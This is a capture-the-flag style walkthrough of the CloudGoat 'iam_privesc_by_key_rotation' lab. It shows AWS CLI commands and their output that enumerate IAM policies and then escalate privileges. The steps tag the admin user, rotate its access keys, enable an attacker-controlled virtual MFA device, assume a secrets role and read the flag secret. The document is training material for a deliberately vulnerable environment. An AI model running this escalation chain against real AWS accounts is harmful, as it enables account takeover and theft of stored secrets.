CloudGoat: iam_privesc_by_key_rotation
Note:
- We will be performing our attack via Kali Linux
- Ensure you have done the pre-requisites before you start the lab
1. Preparation
1.1 Launch the scenario:
┌──(root㉿kali)-[~]
└─# cd /opt/cloudgoat
┌──(root㉿kali)-[/opt/cloudgoat]
└─# ./cloudgoat.py create iam_privesc_by_key_rotation
# created 3 users into our AWS IAM -> manager, developer, admin
# check them from AWS management console
1.2 read the start.txt
┌──(root㉿kali)-[/opt/cloudgoat]
└─# cd iam_privesc_by_key_rotation*
┌──(root㉿kali)-[/opt/cloudgoat/xxx]
└─# cat start.txt
access key id = xxxaaa
access secret key = xxxbbb
2. Enumeration
2.1 create profile for manager user
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws configure --profile manager
AWS Access Key ID: AAAABBBBCCCCDDDD
AWS Secret Access Key: 111122223333
Default region name:
Default output format:
2.2: whoami
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws sts get-caller-identity --profile manager --region us-east-1
{
"UserId": "...",
"Account": "...",
"Arn": arn:aws:iam:1234:user/manager_iam_privesc_by_key_rotation_cgidsrm439imi5
}
2.3: policies enumeration for “manager” user
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam list-user-policies --user-name manager_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"PolicyNames": [
"SelfManageAccess",
"TagResources"
]
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --policy-name SelfManageAccess
{
"UserName": "manager_iam_privesc_by_key_rotation_cgidsrm439imi5",
"PolicyName": "SelfManageAccess",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:DeactivateMFADevice",
"iam:GetMFADevice",
"iam:EnableMFADevice",
"iam:ResyncMFADevice",
"iam:DeleteAccessKey",
"iam:UpdateAccessKey",
"iam:CreateAccessKey"
],
"Condition": {
"StringEquals": {
"aws:ResourceTag/developer": "true"
}
},
"Effect": "Allow",
"Resource": [
"arn:aws:iam::xxx:user/*",
"arn:aws:iam::xxx:mfa/*"
],
"Sid": "SelfManageAccess"
},
{
"Action": [
"iam:DeleteVirtualMFADevice",
"iam:CreateVirtualMFADevice"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::xxx:mfa/*",
"Sid": "CreateMFA"
}
]
}
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --policy-name TagResources
{
"UserName": "manager_iam_privesc_by_key_rotation_cgidsrm439imi5",
"PolicyName": "TagResources",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:UntagUser",
"iam:UntagRole",
"iam:TagRole",
"iam:UntagMFADevice",
"iam:UntagPolicy",
"iam:TagMFADevice",
"iam:TagPolicy",
"iam:TagUser"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "TagResources"
}
]
}
}
2.4: policies enumeration for “developer” user
- get the developer’s user name from AWS management console’s IAM
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam list-user-policies --user-name developer_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"PolicyNames": [
"DeveloperViewSecrets"
]
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-user-policy --user-name developer_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --policy-name DeveloperViewSecrets
{
"UserName": "developer_iam_privesc_by_key_rotation_cgidsrm439imi5",
"PolicyName": "DeveloperViewSecrets",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "secretsmanager:ListSecrets",
"Effect": "Allow",
"Resource": "*",
"Sid": "ViewSecrets"
}
]
}
}
2.5: policies enumeration for “admin” user
- get the admin’s user name from AWS management console’s IAM
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam list-user-policies --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"PolicyNames": [
"AssumeRoles"
]
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-user-policy --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --policy-name AssumeRoles
{
"UserName": "admin_iam_privesc_by_key_rotation_cgidsrm439imi5",
"PolicyName": "AssumeRoles",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::xxx:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidsrm439imi5",
"Sid": "AssumeRole"
}
]
}
}
- role name = cg_secretsmanager_iam_privesc_by_key_rotation_cgidsrm439imi5
2.6: policies enumeration for the role
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam list-attached-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"AttachedPolicies": [
{
"PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_cgidsrm439imi5",
"PolicyArn": "arn:aws:iam::xxx:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidsrm439imi5"
}
]
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-policy --policy-arn arn:aws:iam::xxx:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"Policy": {
... ... ...
"DefaultVersionId": "v1",
... ... ...
}
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam get-policy-version --policy-arn arn:aws:iam::xxx:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "secretsmanager:ListSecrets",
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "secretsmanager:GetSecretValue",
"Effect": "Allow",
"Resource": "arn:aws:secretsmanager:us-east-1:xxx:secret:cg_secret_iam_privesc_by_key_rotation_cgidsrm439imi5-lRWCDA"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-05-07T02:51:13+00:00"
}
}
3. Exploitation
3.01: add a tag to the admin user to allow us to change its access key
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam tag-user --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --tags '{"Key":"developer","Value":"true"}' --profile manager
3.02: List Access Keys
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam list-access-keys --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"AccessKeyMetadata": [
{
"UserName": "admin_iam_privesc_by_key_rotation_cgidsrm439imi5",
"AccessKeyId": "xxxbbxxbb",
"Status": "Inactive",
"CreateDate": "2024-05-07T02:51:13+00:00"
},
{
"UserName": "admin_iam_privesc_by_key_rotation_cgidsrm439imi5",
"AccessKeyId": "xxxaaxxaa",
"Status": "Inactive",
"CreateDate": "2024-05-07T02:51:13+00:00"
}
]
}
3.03: Delete Access key
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam delete-access-key --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager --access-key xxxbbxxbb
┌──(root㉿kali)-[/opt/cloudgoat]
└─#
3.04: Create Access Key
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam create-access-key --user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 --profile manager
{
"AccessKey": {
"UserName": "admin_iam_privesc_by_key_rotation_cgidsrm439imi5",
"AccessKeyId": "newAccessKeyID123",
"Status": "Active",
"SecretAccessKey": "newSecretAccessKey123",
"CreateDate": "2024-05-07T06:00:19+00:00"
}
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─#
3.05: Create profile for the above credentials
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws configure --profile admin
AWS Access Key ID: newAccessKeyID123
AWS Secret Access Key: newSecretAccessKey123
Default region name:
Default output format:
3.06: create a virtual mfa device -> QR Code
┌──(root㉿kali)-[/opt/cloudgoat]
└─# ls
file.txt
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam create-virtual-mfa-device --virtual-mfa-device-name cloudgoat_virtual_mfa --outfile /opt/cloudgoat/QRCode.png --bootstrap-method QRCodePNG --profile manager
{
"VirtualMFADevice": {
"SerialNumber": "arn:aws:iam::xxx:mfa/cloudgoat_virtual_mfa"
}
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# ls
file.txt QRCode.png
3.07: set up the OTP with the QR Code and authenticator app
- open the QRCode.png image
- scan the QR code with your authenticator app (which can be Google authenticator, or Microsoft authenticator)
- you will see OTP inside the authenticator app, it gets refreshed overtime
3.08: enable the virtual mfa device
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws iam enable-mfa-device \
--user-name admin_iam_privesc_by_key_rotation_cgidsrm439imi5 \
--serial-number arn:aws:iam::xxx:mfa/cloudgoat_virtual_mfa \
--authentication-code1 696202 \
--authentication-code2 204444 --profile manager
- AWS MFA is asking for two OTP as seen in above “authentication-code1 and authentication-code2”
- However, your authenticator app only has one OTP
- we can use the current OTP as the 1st authentication-code value, and wait for it to expire and renew another OTP for the 2nd authentication-code value
3.09: assume a role
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws sts assume-role --role-arn arn:aws:iam::xxx:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidsrm439imi5 --role-session-name cloudgoat_secret --serial-number arn:aws:iam::xxx:mfa/cloudgoat_virtual_mfa --token-code 490977 --profile admin
{
... ... ...
"Credentials":
{
"AccessKeyId": "newAccessKeyID888",
"SecretKey": "newSecretAccessKey888",
"SessionToken": "xxxxxxxxaaaa",
... ... ...
}
}
- the token-code will be another renewed OTP from your authenticator
3.10: create the profile from the above credentials
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws configure --profile admin2
AWS Access Key ID: newAccessKeyID888
AWS Secret Access Key: newSecretAccessKey888
Default region name:
Default output format:
┌──(root㉿kali)-[/opt/cloudgoat]
└─# mousepad /root/.aws/credentials
┌──(root㉿kali)-[/opt/cloudgoat]
└─# cat /root/.aws/credentials
[...]
... ... ...
[admin2]
aws_access_key_id = newAccessKeyID888
aws_secret_access_key = newSecretAccessKey888
aws_session_token = xxxxxxxxaaaa
3.11: List the secrets in secretsmanager
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws secretsmanager list-secrets --profile admin2 --region us-east-1
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:xxx:secret:cg_secret_iam_privesc_by_key_rotation_cgidsrm439imi5-lRWCDA",
"Name": "cg_secret_iam_privesc_by_key_rotation_cgidsrm439imi5",
"Description": "The primary secret for the iam_privesc_by_key_rotation scenario",
"LastChangedDate": "2024-05-06T22:51:13.779000-04:00",
"LastAccessedDate": "2024-05-06T20:00:00-04:00",
"Tags": [
{
"Key": "Scenario",
"Value": "iam_privesc_by_key_rotation"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"SecretVersionsToStages": {
"terraform-20240507025113290800000003": [
"AWSCURRENT"
]
},
"CreatedDate": "2024-05-06T22:51:11.359000-04:00"
}
]
}
┌──(root㉿kali)-[/opt/cloudgoat]
└─# aws secretsmanager get-secret-value --secret-id cg_secret_iam_privesc_by_key_rotation_cgidsrm439imi5 --region us-east-1 --profile admin2 | grep flag
"SecretString": "flag{14m_PERM15510N5_4Re_5C4R_76e05xxx}",
┌──(root㉿kali)-[/opt/cloudgoat]
└─#
4. Clean up
┌──(root㉿kali)-[/opt/cloudgoat]
└─# ./cloudgoat.py destroy iam_privesc_by_key_rotation --help
Destroy xxx [y/n]: y
┌──(root㉿kali)-[/opt/cloudgoat]
└─# rm QRCode.png